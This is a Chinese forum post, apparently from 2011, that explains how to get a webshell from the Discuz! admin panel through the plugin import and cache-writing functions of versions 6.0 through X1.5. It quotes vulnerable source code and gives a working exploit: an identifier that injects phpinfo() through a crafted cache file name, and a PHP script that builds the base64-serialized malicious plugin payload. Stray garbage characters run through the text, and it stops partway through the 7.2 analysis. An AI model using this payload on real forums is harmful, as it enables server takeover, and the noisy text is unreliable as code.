趁着地球还没毁灭,赶紧放出来。
0 o$ p( q6 {4 ^) l预祝"单恋一枝花"童鞋生日快乐。
) a: ]/ p/ T* Y恭喜我的浩方Dota升到2级。: a% _6 W4 G+ a0 `
希望世界和平。
9 q s: S3 D' ~1 m& e$ o我不是标题党,你们敢踩我。敢踩我。。踩我。。。我……0 B, S) H- ?7 B2 B
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既然还没跪,我就从Discuz!古老的6.0版本开始,漏洞都出现在扩展插件上,利用方式有所不同,下面开始。
7 b- E1 Q B- Q
' R' T+ {& d% }: w3 f9 b一 Discuz! 6.0 和 Discuz! 7.08 {' ?% o' `6 G- q5 K/ ]3 G
既然要后台拿Shell,文件写入必看。
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/include/cache.func.php4 U9 P! C" ~" V! Y+ L9 v1 o/ V
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function writetocache($script, $cachenames, $cachedata = '', $prefix = 'cache_') {
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. q0 c* N, ]- w# q& O! A1 Q global $authkey;
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if(is_array($cachenames) && !$cachedata) {
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' n! I4 T) D# \+ n0 B" e! O foreach($cachenames as $name) {2 C" E! ]' [2 _, i
05
x* L$ _$ m0 B) P/ {! [$ M $cachedata .= getcachearray($name, $script);
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# @& B# W; D5 [ R; m $dir = DISCUZ_ROOT.'./forumdata/cache/';$ v" a: Q7 D" r
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^6 k( g' i! |( Q0 t" Y$ _7 a if(!is_dir($dir)) {) A) v: ?1 t9 D& m) A( S
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: Y) ~; F W% i( s1 }: o: e6 c/ p9 [ @mkdir($dir, 0777);
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}
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/ A! ?9 J+ c; q2 T2 C* u/ Z if($fp = @fopen("$dir$prefix$script.php", 'wb')) {" _1 b+ o. Q2 m; D" S" Z3 t
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fwrite($fp, "<?php\n//Discuz! cache file, DO NOT modify me!".
- H+ A: f1 t- d& d# ?15
8 j! J. {; K( w' ~" ^6 x "\n//Created: ".date("M j, Y, G:i").
8 s% Z- q A1 h4 D7 V# \16
7 N5 H" q: Y+ ~ "\n//Identify: ".md5($prefix.$script.'.php'.$cachedata.$authkey)."\n\n$cachedata?>");2 K) s& g! X) b: G; W7 R. d
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fclose($fp);# |& H1 d* f: a$ {( Q. q
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# C# e% K, [% N! Q } else {" O& x0 ^5 Y+ k# b
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exit('Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .');6 _; m, K& j7 ~* X$ C( M9 u
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8 b3 M% U! W# ^$ @# a7 z% k) `3 y: m U7 p往上翻,找到调用函数的地方.都在updatecache函数中.$ [. t8 j. F7 K% f. o) z( _
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if(!$cachename || $cachename == 'plugins') {
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: M2 n% Z# l$ f3 d: G, m $query = $db->query("SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins");
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) E8 T. ^# q ]" a: R2 } while($plugin = $db->fetch_array($query)) {, q2 j* q, j: }
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$data = array_merge($plugin, array('modules' => array()), array('vars' => array()));7 U- W c" Z0 \& Z' B, ^0 m
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$plugin['modules'] = unserialize($plugin['modules']);4 g) t. P0 t2 _2 ^7 Q& v
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o3 p% V0 y( N: \" } if(is_array($plugin['modules'])) {; q" @ U# k) F3 ]' U: u% K3 M0 r
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foreach($plugin['modules'] as $module) {+ ~' p1 c/ f- ?4 {
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$data['modules'][$module['name']] = $module;) G- ^) l3 X) N( h. e
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11
' N4 K) l( k5 H) y' Q6 K1 L4 j, K1 c3 W $queryvars = $db->query("SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid='$plugin[pluginid]'");
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' y' k2 B8 Q- K, _$ e while($var = $db->fetch_array($queryvars)) {
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$data['vars'][$var['variable']] = $var['value'];
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) y3 ~+ d( ]2 N+ r1 |& K3 \/ ]15: B( }8 k5 z k
//注意
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writetocache($plugin['identifier'], '', "\$_DPLUGIN['$plugin[identifier]'] = ".arrayeval($data), 'plugin_');
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18
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6 Q) b% a* {" i' s如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.6 c W5 T/ @, ~) r5 H% l
去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下." \9 R. {# C( J7 I' d$ H* F
但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.: G: n& ?) P1 ]4 P# e* Q
" E, }" ` c, C" f& @! X1 f7 N/admin/plugins.inc.php- T* x4 m5 l ^8 d# q
01
2 k; [/ M& K; ]2 H2 S if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {
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6 ~+ e0 P+ k/ e5 t% W7 d4 @ if(!$newname) {
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cpmsg('plugins_edit_name_invalid');3 \, Q1 K1 {8 T n# _$ ?
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$query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='$newidentifier' LIMIT 1");
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//下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符- n# r( t# g; G3 a& q& O
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+ D W5 l4 x7 A X0 K1 X if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {" |, _, X( u) ?+ u, O/ q- O& Q. z
08
7 R4 Z0 U( @7 f3 z! u0 B6 ] cpmsg('plugins_edit_identifier_invalid');
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$db->query("INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES ('".dhtmlspecialchars(trim($newname))."', '$newidentifier', '0')");
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12
" z. p" B* I/ c" k2 j. t% L //写入缓存文件5 i( u% g/ N( m% k
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updatecache('plugins');$ B. L. u1 [' u$ S
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" I9 R6 Y' L: R updatecache('settings'); C+ r, [( B4 k% T. T5 I9 A( Q7 v
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3 w7 ~8 H- {' p3 l- F2 z cpmsg('plugins_edit_succeed', 'admincp.php?action=pluginsconfig');
' d( ?* I5 q" c1 g7 a: b还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.
0 w, V/ |8 F8 h, h \' E预览源代码打印关于+ t2 P% b- j. Q/ a! e% F* P& F
01
( J$ o R/ P2 s0 s- \elseif(submitcheck('importsubmit')) {
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03
( y- O: A7 Q: Z0 D $plugindata = preg_replace("/(#.*\s+)*/", '', $plugindata);1 `# f& H3 f' l
04
3 `& R) [. H$ n3 D3 d0 a) n- j3 s $pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);" K( M# Z% i0 Z* n
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//解码后没有判定& e; [3 _3 N: I' k+ n# ?
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if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) {# q- [0 T- W! i7 ?8 D
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cpmsg('plugins_import_data_invalid');
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) l" m4 ^- H x E } elseif(empty($ignoreversion) && strip_tags($pluginarray['version']) != strip_tags($version)) {
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cpmsg('plugins_import_version_invalid');2 m) s& e! V) o! d9 l
10
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$query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='{$pluginarray[plugin][identifier]}' LIMIT 1");" V: P* l6 G2 ~+ Y
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//判断是否重复,直接入库
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; [, [4 B" N5 g if($db->num_rows($query)) {# P& P- a9 }! D4 @$ K$ j7 O! b. l- t
15
' h$ F3 z( r( `! h& g2 \5 J cpmsg('plugins_import_identifier_duplicated');
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$sql1 = $sql2 = $comma = '';
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foreach($pluginarray['plugin'] as $key => $val) {2 t$ r+ a3 P/ E9 [( D5 Z e
20
! v2 r/ U+ X* ?4 s2 `9 U if($key == 'directory') {4 p) O, P6 B- P8 e" B8 T
21
( `" v' A, ?& r$ _ //compatible for old versions
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6 x. O+ b* l' h7 c $val .= (!empty($val) && substr($val, -1) != '/') ? '/' : '';
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# y* g7 a& V! h+ x1 g' q }! h) a2 Y2 W' w% j! Y
24
7 Z. r7 X5 s z$ Q, j $sql1 .= $comma.$key;
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$sql2 .= $comma.'\''.$val.'\'';
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$comma = ',';. V4 g7 c2 z) X2 ]& ^4 Q& ~' r
27
9 \: P2 X7 H0 I% n- T& S0 G+ B0 B }
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$db->query("INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)");
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$pluginid = $db->insert_id();; o5 `( W# P- u5 O/ O9 p
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foreach(array('hooks', 'vars') as $pluginconfig) {7 R+ v1 S `$ s/ H* `" v
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if(is_array($pluginarray[$pluginconfig])) {
/ B9 t5 U+ O" W) B5 i" G" [33
7 R% p+ z: j' \ foreach($pluginarray[$pluginconfig] as $config) {
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$sql1 = 'pluginid';
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: Q) H; E/ G7 u5 _! D- r& b: ? $sql2 = '\''.$pluginid.'\'';
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, ?! S% k) Y) t0 o1 b7 W foreach($config as $key => $val) {) c& W; n3 Z$ Y9 y3 K3 `* B
37
2 w4 V% S& y0 M4 l $sql1 .= ','.$key;$ J4 I' k! g( U& X* Z$ N; j1 }' w4 `
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$sql2 .= ',\''.$val.'\'';; b6 D8 E5 N! `2 t; U1 w
39
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407 ^1 I |9 s% T+ z3 H
$db->query("INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)");6 V5 b: b3 V( n& U, j; m
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' }% y# T% R% A8 \' m% J44
3 k6 V& U( @0 g1 R) G * H' T8 R* o- ^/ p( y+ y/ L8 ?
457 J" H4 P3 `" X# g& {
updatecache('plugins');/ A3 z: v% j: T9 j+ M5 Y' e! ?& F" t
46 d. I9 y- b& ]
updatecache('settings');( u3 ~, _) y7 w: T- j: J
47
/ E7 q; S9 ^( ? c! n! b cpmsg('plugins_import_succeed', 'admincp.php?action=pluginsconfig');9 {$ G2 O0 m2 W/ f
48
. c4 v) ~! ?# e. F+ i2 W9 U, e5 o 4 O g4 P- a9 }( T" c- j: O$ i2 ^9 O
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}( m! E4 n+ s, [. K: \7 S
随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.1 B4 C6 U5 |/ _1 G) D4 Q( G
/forumdata/cache/plugin_shell.php
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<?php9 T) z+ z- x ?( ~! O8 X
02! r: Q# [, _1 Z, Z
//Discuz! cache file, DO NOT modify me!4 v7 @0 P! m+ u/ H6 f
03% o6 |/ w6 [( C4 Q+ M% F) F/ j$ }
//Created: Mar 17, 2011, 16:56
2 B0 M, C& v5 J# V, b& B041 W& [! \8 j4 F0 x- ]2 L* G2 O- R8 {4 i! x
//Identify: 7c0b5adeadf5a806292d45c64bd0659c
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" V+ }, }4 W# q " P/ W8 P+ R2 x/ A% Q1 s7 j
068 O& c- @; f; h: @& F9 H
$_DPLUGIN['shell'] = array (
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'pluginid' => '11',' t# N2 ]3 r' L+ O7 p6 p: b; q
088 L' X% e* k& G% Y E
'available' => '0',- m( r& H8 ?* n) ~$ g
09
' C+ q2 g1 \& w8 G 'adminid' => '0',$ ?, t+ {$ ?$ w5 W. ] g
103 |" d) C2 D w2 o0 U. H: {9 v
'name' => 'Getshell',2 g: S6 n. w: O
11
8 n/ N2 ?) m0 d3 D6 \% P 'identifier' => 'shell',
, X1 o9 h: | S) h3 q' w12
. w2 Y' \ J5 K! H- D X7 u2 Z1 w 'datatables' => '',4 H! I3 T9 a9 d- T; r S& [
136 A. z4 s# c, z
'directory' => '',
. C. W# U3 E$ m' ?/ V14- W1 x% |- U! g, Y8 v
'copyright' => '',+ c' N6 ^* M2 L$ E/ o2 |* R4 ?; D
15
2 v. j. {/ {1 u5 i" M$ b 'modules' =>, q$ M2 G! G0 E( e
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array (
# R" l6 N6 U7 E) b( C' J+ A171 Q) _9 s" N5 I
),9 Q9 X4 N5 i' S" c8 t2 k8 N+ S
18
9 b3 \9 f P' V1 D 'vars' =>
' p8 ]5 M% I S% N& S* a- k- o19
: o1 S6 `8 O, q, J array (5 Y. o9 d! \7 u- H% @2 n) g$ p
20
1 M) C8 D) U+ ]+ S ),7 C' S# P$ n5 R# _1 ^) N
218 n6 \, E# i" a9 @+ K
)?>
" r$ R) K/ F$ _2 S5 g5 L我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.
3 @- E; V2 c; U* [( O1 r7 a, D0 W7 C9 j# W1 Q* @& n, N+ U m6 g I1 S% ]
/forumdata/cache/plugin_a']=phpinfo();$a['a.php
% W4 y2 X: K& {! U- k# t4 h, A' T01
0 H9 Y; d- F5 g" F, g" D% D. S, \<?php! q6 A) B- G: k
02* g1 L; x! f7 A6 R6 j6 N( t
//Discuz! cache file, DO NOT modify me!
* f7 w, S- x+ d" u k" f; x03
9 R( X: l( K, |3 K. }! j8 n# O//Created: Mar 17, 2011, 16:56$ ^$ o7 I' t% n7 X" E% ?
049 |. x3 K, H/ |2 ~0 ^- U
//Identify: 7c0b5adeadf5a806292d45c64bd0659c# X" _5 j C/ G8 r/ g
05
$ U3 A1 D" H+ x - Z5 w1 P |( d: z( n- `
06$ \/ O0 k8 P* _0 O3 D% o, ?
$_DPLUGIN['a']=phpinfo();$a['a'] = array (+ j% U% g+ P- v0 m6 g1 `; O
07
" L, Z+ W0 I! t" V( K 'pluginid' => '11',1 X; ?. E1 z" ]% C- K
08( x) B9 _. t2 _9 s( I. i. ~
'available' => '0',2 p0 M' n5 d6 ~: Z( k: s
09, C8 ^+ r; \0 r O, ~
'adminid' => '0',
+ f, ^; d3 {/ T n- W, h10* V: U: T7 n: m3 X9 f
'name' => 'Getshell',
3 f0 y7 _3 M" f2 @11
`( o0 F. K" u1 K- a8 b 'identifier' => 'shell',
C3 _: H8 k& N" q. V12( M" k& H2 L3 H( P9 G0 `
'datatables' => '',
1 s& f8 x4 P6 X4 R! D13
% \' e8 N K5 {& e+ F 'directory' => '',
/ R1 B/ r/ E' E$ B6 m5 D0 m14' {" R' r% |2 h! Q6 B
'copyright' => '',6 V) }, D2 q m1 P1 N9 e
15$ a0 w& m6 b! K% q+ }
'modules' =>
( k( d; Y1 E( q3 j- @% O; _16 o; e+ {( J# @7 E
array (
) Y3 K2 p, v& K3 `17
3 b6 W$ E. \, Z/ N9 [; D ),2 _5 @: U, {; M# L9 c" `6 z
18
8 p/ R' ~& z& C# n2 G# O 'vars' =>6 X5 [& k9 Q3 n, z
19
* I4 V$ c! i: g. T3 y+ W7 z array (+ `$ I9 C. K! g, r! \! a
206 y4 r+ J1 B# n5 O/ Z: Q, M
),
, A4 [ c/ _$ d! R21% i1 B" Q, }! w! C9 m9 P$ } m+ d
)?># J6 o. G: T" M( _" G
最后是编码一次,给成Exp:5 |" }6 L1 s3 I( O
01
7 e5 e: T1 k( o. ?2 x<?php/ ` ^4 ]1 W B6 U
022 x/ ~3 x& K2 p5 ^/ U% L
$a = unserialize(base64_decode("YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw
6 t% q' @+ b" | [' N032 C( `1 P2 X% D/ `
IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo
/ ]5 b7 T8 T% i! h6 {04' x2 N% J: |& U& b+ D& ?9 ^
ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj
- i' |: z/ S, a" K0 r058 J4 `1 e' a- z. Q2 |' h* m
cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6- j" K h/ I# P+ ?
06
% m1 U; w8 i `, M4 g( L0 s1 oImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3
/ U, L; k. S- `076 R# E) D# p1 _. N1 g% _
OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7$ o! K; P; a( P' _; F8 C' \' {
08* b+ m5 Z# `9 _3 S8 j- U
fQ=="));. Z9 _9 [, v" Y' D3 B* `% Z7 {
09
# x' A) A l9 i) ], Y- ?//print_r($a);& r) Z& q- u9 [4 B1 B [2 S4 U
10
) J$ W" J1 ?* }$a['plugin']['name']='GetShell';
. d3 V9 h5 z4 `$ F1 Y11
6 Z+ S2 I0 u8 h* m; r G$a['plugin']['identifier']='a\']=phpinfo();$a[\'';- G. z! x1 b* J
12# O9 V0 L/ A9 e7 b
/ x: l8 Y# h% t. x, c: G, K0 B
13/ x# F) N1 }7 @8 l5 k
print(base64_encode(serialize($a)));
( o8 H1 c' |8 h4 _! q* r14' r( t4 C. ?, g8 Q
?>. X$ t0 f- W6 E$ u, D
6 ^0 @9 H2 h7 c& {: t7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"
* Z6 M' O1 c$ j ) @+ F: t+ s" @6 r$ K9 C( m' F
二 Discuz! 7.2 和 Discuz! X1.5
J; t$ w$ C5 f+ |# s+ I, T: W1 u3 ?2 j% v8 }2 i" q
以下以7.2为例4 p6 S+ B" i; e( z0 P& t
9 ~$ h# ?& |6 y: o/admin/plugins.inc.php
^( w! n! V% x: M! h$ F01$ H' p- W9 J( s2 r! J9 A& J
elseif($operation == 'import') {* j$ W" ?' b+ i6 ? q4 i
02
8 M, r x* U9 O- s4 o 2 W8 T5 l. B' M" [0 M
037 {. U! K3 N6 I/ w5 f
if(!submitcheck('importsubmit') && !isset($dir)) {
; P; B: }2 N; j04% i* P$ J! G7 H# @
- l1 J8 F$ n/ N9 p* n0 y05
) z; \) Y( N) X0 E; m /*未提交前表单神马的*/% e2 u: D5 A2 i- g3 U) }
06( v" M+ ~. T( p
. Z( @. n# _1 V: R. d07, b4 @# P" U2 l# |2 q O
} else {
" w& |0 {; E" `8 _/ Z08
. `. v) M# q* C3 g$ j7 X+ A5 ~ 1 D- e0 E( ^8 m6 u6 i. i) X+ U
09% G( x/ c: d6 R# Y y
if(!isset($dir)) {. `+ i( G# V9 Y; ?( A. i
10$ p! J' e7 K# z2 F; u& V; Y- }
//导入数据解码
, z- m% z( c( N- |11) r+ o! _: P( c0 I' ^
$pluginarray = getimportdata('Discuz! Plugin');
9 j# r1 V; ]7 a( N- A12$ N% K% ^: t2 f3 {$ q, a
} elseif(!isset($installtype)) {/ {% P1 A: K" e3 n. q: R, \$ b' w
13
) m7 P* Z9 v) u6 \# u* T /*省略一部分*/ y7 F& k; x# Z5 u1 U4 Z+ k
14
: ^& L, F, I- v }
- Z0 n; y7 ?2 z7 n4 i15
' O' H8 ]& n& m" S* ^7 [ //判定你妹啊,两遍啊两遍& _% W# q4 d0 t* j* Z$ r% y8 N+ S* R- v4 M
16
& d8 ^. @7 l6 Y- `1 z. o/ q if(!ispluginkey($pluginarray['plugin']['identifier'])) {0 O4 ?0 E9 v' U t1 p, Z: n
176 O. J4 ^5 b/ y. d* m
cpmsg('plugins_edit_identifier_invalid', '', 'error'); F) z' K$ c: |: |& j+ C/ X; h
188 S) ?/ Z# H, m0 G1 C
}
; A* R1 D F% h. J+ E) K1 P19
. M7 u6 `" L3 W% T4 z/ t3 U6 s if(!ispluginkey($pluginarray['plugin']['identifier'])) {6 H5 g5 B3 {$ C, M3 Y
20
, @( R( ~6 r. [- E! f3 v cpmsg('plugins_edit_identifier_invalid', '', 'error');8 }- C- U3 v' f: F/ l1 q) v& m( {
21( `8 O2 B. s$ N2 C+ I( X3 r
}
" x6 E) L: T R, O0 B" z% h3 |22
1 O& `) r; c$ n( r/ P+ L if(is_array($pluginarray['hooks'])) {8 G' m9 l+ S+ V( B
23' Z; I# N8 j3 g) w- n& I5 Z
foreach($pluginarray['hooks'] as $config) {
* s j* E6 A: q7 @! }24* u( S4 N/ g, w/ b
if(!ispluginkey($config['title'])) {3 [, B; @+ M* c4 i
25, G0 \- ^# s6 Q- q( P/ z' B$ h
cpmsg('plugins_import_hooks_title_invalid', '', 'error');- N+ H4 d+ C8 R" o- P# p# R
263 x% Y$ t6 `/ s
}
4 K4 n/ t: A1 {4 L% D" i. v; A9 ~27
" i) \8 N4 E& V }& e% _9 y' U* w2 M
28
7 s% m% Y0 N% @ }& t. f, j1 g* z J& N* U/ T
29% R' T+ s9 z8 y/ R4 g% Q
if(is_array($pluginarray['vars'])) {
+ D2 b9 E! C3 B# C* B30
. P0 D$ }, H1 P7 S4 n# L, D foreach($pluginarray['vars'] as $config) {
" H2 H) ^! b7 ~31
' H4 M Z& v/ O2 b3 N, R if(!ispluginkey($config['variable'])) {
; ~2 b1 U) @4 X" ^32! }8 W9 J! G& Y6 o6 w
cpmsg('plugins_import_var_invalid', '', 'error');
+ Q- n3 e' G, b% a$ j7 P33) [5 c5 f6 [8 Z" q" {; Y4 `
}5 `/ c' s1 t* O p+ K8 G+ ^
34% N, v# Z/ w7 L
}
+ s+ s" X4 g2 |! V' F. _35! S1 [- @5 _4 t
}- {8 r+ c* D. U' U5 C# l' [: [" |2 q
366 `- g; E8 I$ J& G) T, \
) F- [* E( p2 f' M2 i6 b* J9 _
373 L( C b4 L% W E& H
$langexists = FALSE;1 C# ^6 ?/ t7 J* R# H5 o. b
38
% k) f( U' e& I( }% O //你有张良计,我有过墙梯
6 V8 v8 H) I/ i' N$ o. S# B+ A39
& N1 n" R/ K: C, y7 v6 F% b1 c if(!empty($pluginarray['language'])) {
) [+ m! i6 A, Z40
+ B4 i& p& o2 W @mkdir('./forumdata/plugins/', 0777);4 w5 g8 y; h5 ^! K7 k$ y
41
& X& ~* L7 A- {0 D: M9 @4 W* M9 l $file = DISCUZ_ROOT.'./forumdata/plugins/'.$pluginarray['plugin']['identifier'].'.lang.php';
. D' y; M7 e, }% z. K% u, r42; [8 G# _* a. n! z) F; B
if($fp = @fopen($file, 'wb')) {
/ u# W( l5 r4 ~, @) ~43
( z v8 v C5 h$ p( R $scriptlangstr = !empty($pluginarray['language']['scriptlang']) ? "\$scriptlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['scriptlang']) : '';
0 w( ?# b' j, G: p! T$ W5 W44
" e6 f) _* V4 Z' s! o0 U $templatelangstr = !empty($pluginarray['language']['templatelang']) ? "\$templatelang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['templatelang']) : '';
! `5 N2 Z8 r1 I% t7 C4 A6 h6 s45
& ? Z0 l* \+ q* L/ B7 s $installlangstr = !empty($pluginarray['language']['installlang']) ? "\$installlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['installlang']) : '';6 L; Z, s' K0 j0 l
46
5 v' Q& W" }0 r; D0 R fwrite($fp, "<?php\n".$scriptlangstr.$templatelangstr.$installlangstr.'?>');
+ V+ x7 f! |4 j7 W2 B- w, @47* n7 ^0 {, U2 D* ~9 s7 a
fclose($fp);
2 h3 H4 N8 E1 {. p0 r48
( s+ y4 l% A3 i& n: Q: Z0 E; L }. M& a1 H# Y) m( N, j
490 D) G/ B6 h) W1 f, Q
$langexists = TRUE;" ~3 Y% X7 }/ O$ B& k
50
$ k# ?: b0 `0 S' V8 M7 m- O# o }2 ?/ ?8 ^7 E# u; T' o
51& \/ i1 d: h! w% n4 [
+ }+ P6 h, H% n( b% G
52
! ?; M, _/ d6 v/*处理神马的*/
- g! _5 T9 ?1 z5 f+ m' i53 g$ n; [% t; }) e$ Y1 f3 z
updatecache('plugins');8 T1 q6 O, o9 Z. y" R8 _
54
% w1 z; k: c9 z9 F% z$ D updatecache('settings');$ Y `4 u: \& J' I: a
55
/ s3 m: Z0 z: q) u: d" O1 ]2 s updatemenu();% d( x8 [5 d! ^0 X6 T n) \
56" n/ I- s( i7 z0 Y" B
: Y' n1 n0 C) k' {57& |2 q- H, J: }1 y, H# S4 j
/*省略部分代码*/
' r$ o, E2 c* e. H8 S58- ~" v3 f- e0 S: C9 [( @0 x
8 d4 ^9 r( b8 L
59
# c! P H! g$ x { N2 d}6 s$ f" @+ [: B) L$ X4 B5 W
先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.- k, j! ]9 f1 S9 n! `7 _
01
* |3 o& A' t* k6 V" Y2 efunction getimportdata($name = '', $addslashes = 1, $ignoreerror = 0) {) Q$ F: Z$ a' ]0 \7 s7 D
02
/ @& w8 m' Q* B if($GLOBALS['importtype'] == 'file') {, J$ J H3 ~( i3 D# c; G4 U* u
03
; W* Q, Z' p( l2 F) i i6 e4 } $data = @implode('', file($_FILES['importfile']['tmp_name']));
, V1 [+ v( c0 ]/ ^04
$ O% w. ^+ b" K. v2 l @unlink($_FILES['importfile']['tmp_name']);# D; A: z) a8 X# ~% s$ Z1 {! O
05* o; r2 r- R5 E( u
} else {
, g7 g" k, B* s3 @# J! m; `! F06
4 k+ a, `, i5 Z4 ~7 m $data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt'];
, f( _7 D) l+ H8 t7 k! ]. b07
+ N5 d2 l0 `. L$ a1 {% y+ I6 O }& a4 g0 J' h1 F" I) w# r$ C
08- y* A7 H5 B7 M8 m# m
include_once DISCUZ_ROOT.'./include/xml.class.php';
2 @0 l% G; c) U; R7 ^7 X09' v: } S8 D0 U3 T" o" x; a
$xmldata = xml2array($data);
& Y A% }. u Q8 X& d5 a10
6 @8 Y( }: L5 S5 U5 Z if(!is_array($xmldata) || !$xmldata) {
1 ~8 y1 j( v% R* b& p- `112 F) W/ M6 u* _$ t
//向下兼容
$ i% `- P- r' v v1 Q12( O8 z n# n7 o# ^5 N8 p" k S
if($name && !strexists($data, '# '.$name)) {
1 B5 Y3 W5 \( d13: @& _8 o* o! t! g( F @
if(!$ignoreerror) {
. r$ T3 W- W+ J. G/ U& H14( h2 e" r* W, i" I7 i% V+ O) z
cpmsg('import_data_typeinvalid', '', 'error');
9 x, ^: ^8 A* Z" f! R p15
1 i% ?6 L3 V9 B( I6 T } else {
. R! ]. U( R7 y2 x16- n/ n0 x$ @, _: k# V- L& T
return array();
" j$ C. ]! s2 \9 L; i$ t: I17
7 U" b# Y& q2 R% g }
: O, r& g5 g% m5 B9 O18
& y8 y7 x1 m8 U. q1 ` }# } v! B! @0 r+ N
194 d/ u. `' T& s! \% o9 O! X, j2 n5 n
$data = preg_replace("/(#.*\s+)*/", '', $data); z6 X3 I/ G. q. U0 ?0 f0 J
20
% }& S# V! d5 A! D! _: ~ $data = unserialize(base64_decode($data));
/ w) X: O) @0 p/ P21
4 G# k. Q& f$ a% f+ w) |8 Z4 _ if(!is_array($data) || !$data) {' F) v0 g2 _5 p
223 d6 ^9 W2 { U& f
if(!$ignoreerror) {
. O! t5 D. X3 @8 i239 {8 n& z, d6 L; b/ ?8 k; S9 J
cpmsg('import_data_invalid', '', 'error');! o. A' |' h; I4 t S! j( h
24! m7 s5 }& I* p" m$ h$ w
} else {! b# |# @: z2 o+ T! ^. n! o2 Y7 `
25
% V. [" l2 T9 C& e$ |# g* ^ return array();2 s8 z) j, \1 K1 Z$ G1 N4 l
26
$ A! I2 Y* E2 \0 z$ P } M2 l" v& A: c7 h5 d1 a
27/ r# C' V& i5 d+ T
}, ~/ }; L" |7 y4 s8 f
28
" [1 S* j* p5 o/ d } else {0 V$ e# y3 I c1 f
29
# `3 W$ o& L/ {8 P( l C! w+ i. T//XML解析7 U. {# h9 `) L3 V: ]2 K
30
$ Q" E2 ]2 c) c) O8 P if($name && $name != $xmldata['Title']) {! Q9 n6 V. k8 S
31 n. A; f: D7 i/ ?
if(!$ignoreerror) {3 w% w8 g1 z* w, P
327 V/ ?& C" P: p. [' l D
cpmsg('import_data_typeinvalid', '', 'error');
, X& F& C' H! d33
+ K% p* n& Z$ U* M- d# y } else {
8 z7 R* V% j1 e& o% [$ }34$ R8 w8 h5 B8 f# t; `! \
return array();
4 U7 l M; z9 e, L35
! \( P* A; x" l* U! C4 G( a }# c7 ~+ c2 E$ z
36! H2 a: B. Z$ g! n: l; ]
}4 e8 @% [: `+ o7 T
37
2 U% F" ]$ a6 `4 } $data = exportarray($xmldata['Data'], 0);
9 Q8 ]) P5 s/ i8 W0 E" {' V7 w38
$ v9 X1 T9 V! e, z9 X0 P! `5 E }, y1 T9 M& g/ [0 a: x
397 E3 ~ _; s$ j3 f* ]0 D5 @+ {/ Q
if($addslashes) {# l% S, ~ Y {; ^# x
40
8 M+ b/ D1 _9 m//daddslashes在两个版本的处理导致了Exp不能通用.5 L0 w7 @7 T9 N9 n
41
f5 `" C" x$ ~$ a% z- [ $data = daddslashes($data, 1);& m& k3 C7 `! L Z d. e( O! f
42
! Y0 e! e8 Z; K$ {. u9 Q' F5 v. ?+ o }* \, {: A i: t2 Z- m1 h
43
8 c' j L, h7 b4 X. D" G return $data;$ g6 [1 b8 i' K0 j% s: l
44
5 T5 j4 f/ x$ K) ?. V' d}# i' P' p+ _% U
判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……
. E* y" M: D9 E我们只要控制scriptlangstr或者其它任何一个就可以了。9 S% o8 K5 X* K6 r# U
01& e5 a9 T6 ?/ u) v0 f+ M8 I$ m" l9 [
function langeval($array) {
* G" O7 R0 V7 s& [. I) h. ?/ S; V# ^02
$ q2 W, x8 A0 k% l( M $return = '';7 j8 _8 V r/ f
03
! _! Z2 N! u" `; i! r6 n9 M- D foreach($array as $k => $v) {
& `; J& G& D/ }4 K8 I* T" d9 w04
5 t' V' { \" e+ t4 i5 p, ? //Key过滤了单引号,但是只过滤了单引号,可以利用\废掉后面的单引号
1 O2 R9 Y5 p, d7 u T$ ?05
' r! F( I) }0 h3 _; L $k = str_replace("'", '', $k);3 \8 Y5 i" ~7 K+ R0 T& h+ |0 L
06
8 y0 e2 W$ _, ] //下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\有爱?6 A, l/ v/ L% ?) n3 s
079 S3 i) R- _( k5 y
$return .= "\t'$k' => '".str_replace(array("\\'", "'"), array("\\\'", "\'"), stripslashes($v))."',\n";4 Z7 Y/ y* V- _" P
08# X3 X1 E t4 I3 T Q) L# [
}
9 _7 _& S8 E( y. W09/ m( Z# w' E1 U( s% p! L
return "array(\n$return);\n\n";& Z5 f/ z- q- E8 O9 x- h `, _
10( b- O1 n0 P8 M; u7 a7 @
}5 f& D0 f! B) Q. H( M
Key这里不通用.% e8 @, x; h# C
& T9 J. v ], x% V( n( u
7.2
6 A+ n* p# d# }/ U5 K( A0 o01
